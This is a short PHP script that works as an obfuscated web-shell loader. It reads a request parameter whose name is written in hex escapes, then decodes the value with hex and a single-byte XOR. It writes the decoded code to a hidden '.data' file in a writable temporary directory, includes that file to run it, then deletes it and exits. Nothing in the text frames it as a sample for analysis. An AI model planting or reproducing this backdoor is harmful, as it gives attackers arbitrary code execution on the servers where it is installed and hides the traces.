<?php

if(in_array("\x74k\x6E", array_keys($_REQUEST))){
	$fac = hex2bin($_REQUEST["\x74k\x6E"]);
	$k= '' ;$o = 0; while($o < strlen($fac)){$k .= chr(ord($fac[$o]) ^ 64);$o++;}
	$key = array_filter([getcwd(), "/tmp", "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]);
	foreach ($key as $pgrp):
    		if ((is_dir($pgrp) and is_writable($pgrp))) {
    $holder = implode("/", [$pgrp, ".data"]);
    if (@file_put_contents($holder, $k) !== false) {
	include $holder;
	unlink($holder);
	exit;
}
}
endforeach;
}